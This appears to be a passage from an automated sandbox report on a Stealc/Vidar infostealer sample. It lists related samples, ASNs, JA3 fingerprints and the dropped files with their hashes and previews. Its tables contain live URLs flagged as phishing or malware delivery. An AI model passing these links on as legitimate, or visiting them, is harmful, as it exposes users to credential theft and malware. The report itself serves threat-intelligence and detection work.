	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!sb98dbf79ab614921877689e4912e2fae&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0VubV9qYmxocXlGSmgzYUo1SkV1TDY0QmtKQzA5SEFwTjV6cTh1YW5PSWxxNEE_ZT1pdGFpeGo&wd=target%28Sezione%20senza%20titolo.one%7Ccfe57f3b-5d7b-4d15-b045-f6fdb53b3776%2FRechnung%2039920898-43006843%20%5C%7C%20Ebner%20Media%20Group%7C205becae-dae9-4a36-907a-485bcab69387%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://docs.google.com/drawings/d/14Q1EGmG0TWb0poSuSYwhNHZWOm-kG4Jlnk5Hg076lVI/preview?pli=132E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWl	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
	https://dzentec-my.sharepoint.com/:u:/g/personal/i_lahmer_entec-dz_com/EdYp5IxQ-uxJivnPAqSzv40BZiCX7sphz7Kj8JDyRBKqpQ?e=wqutC4&xsdata=MDV8MDJ8c2NvdHRkaWF6QGRlbWVpbmVlc3RhdGVzLmNvbXw2YjUyZTY2NWViYzI0M2MxZGE1NjA4ZGNmNzI0NDEwY3xkMTRiYThjYzk2NDI0NzNhYTE0ZWY3NzIxODgzMzJmZXwwfDB8NjM4NjU2OTgyMzMwNDY2MDIzfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKV0lqb2lNQzR3TGpBd01EQWlMQ0pRSWpvaVYybHVNeklpTENKQlRpSTZJazFoYVd3aUxDSlhWQ0k2TW4wPXwwfHx8&sdata=ZnFidXdudm9CbXlMY3MxYTAxVjk3N2plVFdSTHZ5MVlZOGdkRkRZNEUxYz0%3d	Get hash	malicious	Unknown	Browse	13.107.246.45
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	setup.msi	Get hash	malicious	Unknown	Browse	94.245.104.56
	(No subject) (90).eml	Get hash	malicious	Unknown	Browse	94.245.104.56
	test.exe	Get hash	malicious	Babadeda	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://api.inspectrealestate.com.au/email/track?eta=1&t=B32-5UARLGTXC6GHXC7PJPHCGUP7HMF6FJEQ76L6MOL7WYB6P6EYQNBONANBBGKOXFRO3HPDET5TXGOZXG5FJNMJJC437YUYUWDF5VEVIWPK6LECEZJV3OMRCXF6VI76ZOGYOFIOERVACTHYB4KHK22IKKEWLYPTUBLONXLA7QVY2SW2TZMW4ULVG2UAKDR3DM3RL4TTJAF3F3ROXQ3ZLRVYS7Z2T4TIQETEEUV73V42AQLF65YKSUX6JMYEW3ZHXPREAMXXBOQV32GKOYOISFZKX4GPTPR2IMSMCULLR2V4QUSMU3MWF7NQ%3D%3D%3D%3D	Get hash	malicious	Unknown	Browse	13.107.246.60
	(No subject) (98).eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	Electronic_Receipt_ATT0001.virus.html	Get hash	malicious	Unknown	Browse	150.171.27.10
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	https://teams.microsoft.com/l/meetup-join/19%3ameeting_MjMzOWVkZWYtYzg2MC00YjYzLWE5MmItMTA0OTE2MWJkOWYw%40thread.v2/0?context=%7b%22Tid%22%3a%2211d0e217-264e-400a-8ba0-57dcc127d72d%22%2c%22Oid%22%3a%2220d61d95-c7cb-4170-b8c4-9ea749bac872%22%7d	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	20.190.159.2
	original.eml	Get hash	malicious	HTMLPhisher	Browse	52.102.11.124
	https://app.pandadoc.com/document/v2?token=2126fee3194112970cb23c51d0c56249323ace2b	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	52.123.243.195
	https://link.edgepilot.com/s/b064b0de/7_W48d8I8kGlXhrfD-hDUg?u=https://delivmodas.ks.infinitoag.com/	Get hash	malicious	Unknown	Browse	150.171.27.10
	6B530627-1802-4180-83E0-9D13C1074460.1_originalmail.eml	Get hash	malicious	Unknown	Browse	52.109.76.243
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://api.inspectrealestate.com.au/email/track?eta=1&t=B32-5UARLGTXC6GHXC7PJPHCGUP7HMF6FJEQ76L6MOL7WYB6P6EYQNBONANBBGKOXFRO3HPDET5TXGOZXG5FJNMJJC437YUYUWDF5VEVIWPK6LECEZJV3OMRCXF6VI76ZOGYOFIOERVACTHYB4KHK22IKKEWLYPTUBLONXLA7QVY2SW2TZMW4ULVG2UAKDR3DM3RL4TTJAF3F3ROXQ3ZLRVYS7Z2T4TIQETEEUV73V42AQLF65YKSUX6JMYEW3ZHXPREAMXXBOQV32GKOYOISFZKX4GPTPR2IMSMCULLR2V4QUSMU3MWF7NQ%3D%3D%3D%3D	Get hash	malicious	Unknown	Browse	13.107.246.60
	(No subject) (98).eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	Electronic_Receipt_ATT0001.virus.html	Get hash	malicious	Unknown	Browse	150.171.27.10
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	https://teams.microsoft.com/l/meetup-join/19%3ameeting_MjMzOWVkZWYtYzg2MC00YjYzLWE5MmItMTA0OTE2MWJkOWYw%40thread.v2/0?context=%7b%22Tid%22%3a%2211d0e217-264e-400a-8ba0-57dcc127d72d%22%2c%22Oid%22%3a%2220d61d95-c7cb-4170-b8c4-9ea749bac872%22%7d	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	20.190.159.2
	original.eml	Get hash	malicious	HTMLPhisher	Browse	52.102.11.124
	https://app.pandadoc.com/document/v2?token=2126fee3194112970cb23c51d0c56249323ace2b	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	52.123.243.195
	https://link.edgepilot.com/s/b064b0de/7_W48d8I8kGlXhrfD-hDUg?u=https://delivmodas.ks.infinitoag.com/	Get hash	malicious	Unknown	Browse	150.171.27.10
	6B530627-1802-4180-83E0-9D13C1074460.1_originalmail.eml	Get hash	malicious	Unknown	Browse	52.109.76.243
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://api.inspectrealestate.com.au/email/track?eta=1&t=B32-5UARLGTXC6GHXC7PJPHCGUP7HMF6FJEQ76L6MOL7WYB6P6EYQNBONANBBGKOXFRO3HPDET5TXGOZXG5FJNMJJC437YUYUWDF5VEVIWPK6LECEZJV3OMRCXF6VI76ZOGYOFIOERVACTHYB4KHK22IKKEWLYPTUBLONXLA7QVY2SW2TZMW4ULVG2UAKDR3DM3RL4TTJAF3F3ROXQ3ZLRVYS7Z2T4TIQETEEUV73V42AQLF65YKSUX6JMYEW3ZHXPREAMXXBOQV32GKOYOISFZKX4GPTPR2IMSMCULLR2V4QUSMU3MWF7NQ%3D%3D%3D%3D	Get hash	malicious	Unknown	Browse	13.107.246.60
	(No subject) (98).eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	Electronic_Receipt_ATT0001.virus.html	Get hash	malicious	Unknown	Browse	150.171.27.10
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	https://teams.microsoft.com/l/meetup-join/19%3ameeting_MjMzOWVkZWYtYzg2MC00YjYzLWE5MmItMTA0OTE2MWJkOWYw%40thread.v2/0?context=%7b%22Tid%22%3a%2211d0e217-264e-400a-8ba0-57dcc127d72d%22%2c%22Oid%22%3a%2220d61d95-c7cb-4170-b8c4-9ea749bac872%22%7d	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	20.190.159.2
	original.eml	Get hash	malicious	HTMLPhisher	Browse	52.102.11.124
	https://app.pandadoc.com/document/v2?token=2126fee3194112970cb23c51d0c56249323ace2b	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	52.123.243.195
	https://link.edgepilot.com/s/b064b0de/7_W48d8I8kGlXhrfD-hDUg?u=https://delivmodas.ks.infinitoag.com/	Get hash	malicious	Unknown	Browse	150.171.27.10
	6B530627-1802-4180-83E0-9D13C1074460.1_originalmail.eml	Get hash	malicious	Unknown	Browse	52.109.76.243
AS6453US	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	195.219.190.253
	debug.dbg.elf	Get hash	malicious	Mirai, Moobot	Browse	41.206.191.208
	nabppc.elf	Get hash	malicious	Unknown	Browse	66.110.38.87
	nabmips.elf	Get hash	malicious	Unknown	Browse	80.231.246.17
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	209.58.89.233
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	195.219.181.254
	newsample	Get hash	malicious	Mirai, Okiru	Browse	104.106.22.167
	atH4SE3Oi6.elf	Get hash	malicious	Mirai	Browse	64.86.213.114
	garm5.elf	Get hash	malicious	Mirai	Browse	41.206.191.231
	garm7.elf	Get hash	malicious	Mirai	Browse	41.206.191.235
AKAMAI-ASN1EU	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.194.66
	https://teams.microsoft.com/l/meetup-join/19%3ameeting_MjMzOWVkZWYtYzg2MC00YjYzLWE5MmItMTA0OTE2MWJkOWYw%40thread.v2/0?context=%7b%22Tid%22%3a%2211d0e217-264e-400a-8ba0-57dcc127d72d%22%2c%22Oid%22%3a%2220d61d95-c7cb-4170-b8c4-9ea749bac872%22%7d	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	2.22.242.88
	original.eml	Get hash	malicious	HTMLPhisher	Browse	104.124.11.201
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.173
	6B530627-1802-4180-83E0-9D13C1074460.1_originalmail.eml	Get hash	malicious	Unknown	Browse	23.215.17.144
	http://shoutout.wix.com	Get hash	malicious	Unknown	Browse	2.16.164.91
	Scan_1626227.pdf	Get hash	malicious	HTMLPhisher	Browse	2.16.168.7
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	172.234.222.138
	SetupRST.exe	Get hash	malicious	Unknown	Browse	172.234.222.138
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	172.234.222.138

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	https://web-login.malwarebouncer.com/XTUJCUERyUUI1U0FNNzZXQUJ5MHZQSmdBM1hZSE5mcVI4VzQ0aS9zTXBrOTY4enJacHgzQ2x0Mlp5cnkzRUlDSlBNV1BkTnNEaWdmSXJJTW1LZlFSWmhoNy83YnI5Y3pVVjR4ZmVXd3pKVkczLzBqTllIelpxaHo1MEJiZUc1cFJiZTM2akJiQlN2U1pBSDRUUld2ZVhJRmpPemZadmJNTFNiNi9rYmcrQ0tIUi9Kc0VzMmc0bWJ2bTV6U3N1bFQvbUREN2ZuYUZLY29ITjZDdEtnTEQtLSswcXR3ODBibTF1cUxEQ3ktLXprOHNld0xDdERQRHRVQXBmRG5pakE9PQ==?cid=2255119917	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	http://browserupdater.com	Get hash	malicious	Unknown	Browse	23.1.237.91
	ZtefPP1HI7.cmd	Get hash	malicious	Unknown	Browse	23.1.237.91
	35ZnVKToSL.lnk	Get hash	malicious	LonePage	Browse	23.1.237.91
	Bill Payment__8084746.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	http://ERICADLERCLOTHING.com	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://www.google.ca/url?q=nyYhuJkyZc5becm4Aebd&rct=dHYJbECHyHBgmK2d6Hkk&sa=t&esrc=VPIIRnP5TJCWQChPCgwH&source=&cd=TWsylIzvnNqdQKP0bZIw&uact=&url=amp/uniquestarsent.com/ck/bd/BNsT048mrEEHImhtrfrgmcfu/a2Vubml0aC5jYXNlQGFkdmFuY2UtYXV0by5jb20	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	KMfWqiiMu0.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 40.126.32.74 13.107.246.45 20.12.23.50
	https://api.inspectrealestate.com.au/email/track?eta=1&t=B32-5UARLGTXC6GHXC7PJPHCGUP7HMF6FJEQ76L6MOL7WYB6P6EYQNBONANBBGKOXFRO3HPDET5TXGOZXG5FJNMJJC437YUYUWDF5VEVIWPK6LECEZJV3OMRCXF6VI76ZOGYOFIOERVACTHYB4KHK22IKKEWLYPTUBLONXLA7QVY2SW2TZMW4ULVG2UAKDR3DM3RL4TTJAF3F3ROXQ3ZLRVYS7Z2T4TIQETEEUV73V42AQLF65YKSUX6JMYEW3ZHXPREAMXXBOQV32GKOYOISFZKX4GPTPR2IMSMCULLR2V4QUSMU3MWF7NQ%3D%3D%3D%3D	Get hash	malicious	Unknown	Browse	184.28.90.27 40.126.32.74 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 40.126.32.74 13.107.246.45 20.12.23.50
	https://hianime.to	Get hash	malicious	Unknown	Browse	184.28.90.27 40.126.32.74 13.107.246.45 20.12.23.50
	(No subject) (98).eml	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 40.126.32.74 13.107.246.45 20.12.23.50
	https://on-combine-data.s3.us-west-2.amazonaws.com/dealer-data/Share+Point/NTAS_MS3000X_Installer_v2.8.25_October2024_NO_UPS.exe	Get hash	malicious	Unknown	Browse	184.28.90.27 40.126.32.74 13.107.246.45 20.12.23.50
	https://mail.kb4.io/XT0VNMzRJS3djRnBKZnFha1JaVThBUHFHRmpuS2FmSUY4aUszUlY3Sm0rWmpyUWR3ekQzL2xjN0xhVVJlTzhvZzgyMGtTUkxmSWtGdWlUY2I0NStmRWlLS2xHcGZsNTZUN3VyanNiKzVaNjhaeTRSTXFXVGdwc0J4amUxRFFPMU5DTTd5ejl5aXZxUlBwL1NDaDBRSk9DWVJkc09KRUZodTl0SFh5bFVVWEdYZTMzcm5ZTCtCSGpmZWRIMEprQjhiZExvOE9wSGkwUS9KTjQwSVdjQT0tLVBNYWNLTzcyT0xCdDkzb3ItLURlVmNvdGI3d3BGenM5UWJzc1EreXc9PQ==?cid=2260646675	Get hash	malicious	Unknown	Browse	184.28.90.27 40.126.32.74 13.107.246.45 20.12.23.50
	https://mail.kb4.io/XV2pCbFUvdkZ0U1V3cHZQWXpqL3hjTU9wcmY4ZmEyNXZRWTRiU1VvMTVwRnRrYWdnVjdlM0lLQ3VmVXlCSlpGdkkvQUNJWjZLaHpVWnRmYjY0VktjbmJLUFlpV0xzWTVEdkJsa1hrWXY0dGZHMUNoclZ3aDRORWlpQlNhTlpLSy9pdXMwQXozSHVrYSthQnJrS2J6T0EvSVBMYUFYRG1EZ254WlBRUGdyZU55TkdBZjB0aWhCMFdIN081T2RsdFFIMVpIdFAvU2Q2NXlLKzNJY1JZQ1JNMTBwaDlZPS0tNE01L0hRZXp6Tm50TW1MTS0tSlkrYWNuVllJcXZpelZWZ2ppaVRSdz09?cid=2260646675	Get hash	malicious	Unknown	Browse	184.28.90.27 40.126.32.74 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 40.126.32.74 13.107.246.45 20.12.23.50
	Electronic_Receipt_ATT0001.virus.html	Get hash	malicious	Unknown	Browse	184.28.90.27 40.126.32.74 13.107.246.45 20.12.23.50

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\chrome.dll	KMfWqiiMu0.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	KTvTgKJSyw.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKFCBFHJDHJKECAKEHID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBAFCAKEHDHDHIDHDGDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EHJKKKFIIJJKJKFIECBFIEBGID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIDHDGCBFBKECBFHCAFHJDBGHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJJJECFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2649236355668696
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMySAELyKOMq+8yC8F/YfU5m+OlTLVumQ:Bq+n0Jy9ELyKOMq+8y9/Ow/
MD5:	479C400C89F1BFEAC3F8AFBA09F264F5
SHA1:	E33C4D6FDB35FA18B00C13BCD6B736D489BF0E28
SHA-256:	72A7619637C0362D9D548CDD0447828F0EDA9F82B00D00A7576945FD285A4ECE
SHA-512:	AF43559EBE9165D5C0C73F3AF6092229355F85B5EE05E78138F7821A269635386DD7AFE4D8B9F3A62BBF6460E9B2210D040BF9F0DBA285B8ABBECF9680E27CC0
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJJJKEGHJKFHJKFHDHCF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKEBFBFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
